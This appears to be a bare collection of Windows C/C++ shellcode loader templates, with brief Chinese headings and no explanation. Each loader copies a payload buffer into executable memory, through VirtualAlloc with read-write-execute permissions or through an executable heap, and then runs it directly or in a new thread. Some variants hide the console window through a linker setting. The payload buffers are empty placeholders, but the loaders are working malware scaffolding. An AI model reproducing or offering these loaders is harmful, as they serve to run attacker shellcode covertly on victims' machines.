VirtualAlloc申请内存
#include <windows.h>
#include <iostream>
#include <time.h>
#pragma comment (lib, "winmm.lib")
#pragma comment(linker,"/subsystem:\"Windows\" /entry:\"mainCRTStartup\"")
void startShellCode()
{
unsigned char buf[] = "";
void* exec = VirtualAlloc(0, sizeof(buf), MEM_COMMIT, PAGE_EXECUTE_READWRITE);
memcpy(exec, buf, sizeof(buf));
((void(*)())exec)();
}
void main() {
startShellCode();
}
#include<windows.h>
int main()
{
int shellcode_size = 0;
DWORD dwThreadId;
HANDLE hThread;
DWORD dw01dRrotect;
unsigned char buf[] = "";
shellcode_size = sizeof(buf);
LPVOID shellcode = VirtualAlloc(
NULL,
shellcode_size,
MEM_COMMIT,
PAGE_EXECUTE_READWRITE
);
CopyMemory(shellcode, buf, shellcode_size);
hThread = CreateThread(
NULL,
NULL,
(LPTHREAD_START_ROUTINE)shellcode,
NULL,
NULL,
&dwThreadId
);
WaitForSingleObject(hThread, INFINITE);
}
堆
#include<Windows.h>
#pragma comment(linker, "/subsystem:\"windows\" /entry:\"mainCRTStartup\"")
int main(void) {
unsigned char buf[] = "shellcode";
HANDLE myHeap = HeapCreate(HEAP_CREATE_ENABLE_EXECUTE, 0, 0);
void* exec = HeapAlloc(myHeap, HEAP_ZERO_MEMORY, sizeof(buf));
memcpy(exec, buf, sizeof(buf));
((void(*)())exec)();
return 0;
}